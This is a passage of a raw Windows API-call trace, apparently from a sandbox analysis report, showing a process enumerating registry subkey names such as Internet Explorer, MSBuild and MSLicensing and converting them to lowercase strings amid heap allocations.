lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x38b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x38b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x38b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0x38b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0028.171] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0x38b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x38c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0x38b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0x38b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0028.172] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0x38b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0x38b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0x38b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x38c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0x38b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x38c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0028.173] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.173] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0x38b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0x38b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0x38b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.174] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0028.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0x38b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x38c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0028.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0x38b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0x38b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x38c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0x38b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x38c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0x38b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x38c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0x38b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0x38b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0x38b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0028.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0x38b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0x38b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0x38b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0x38b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0x38b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x38c0d8, cbMultiByte=11, lpDefaultChar=0x0, 